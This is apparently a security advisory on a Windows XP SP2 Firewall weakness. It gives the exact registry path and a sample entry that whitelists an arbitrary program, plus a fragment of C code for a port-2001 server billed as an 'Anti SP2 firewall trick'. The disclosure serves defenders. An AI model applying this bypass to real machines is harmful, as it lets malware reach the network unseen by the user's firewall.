Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to Firewall's registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.
Windows XP SP2 Firewall has list of allowed program in registry which are not properly protected from modification by a malicious local attacker.
If an attacker adds a new key to the registry address of HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List, the attacker can enable his malware or Trojan to connect to the Internet without the Firewall triggering a warning.
Proof of Concept:
Launch the regedit.exe program and access the keys found under the following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List
Add an entry key such as this one:
Name: C:\chat.exe
Value: C:\chat.exe:*:Enabled:chat
int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;
fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Mark Kica student of Technical University Kosice\n");
fprintf(stdout, "Dedicated to Katka H. from Levoca \n");
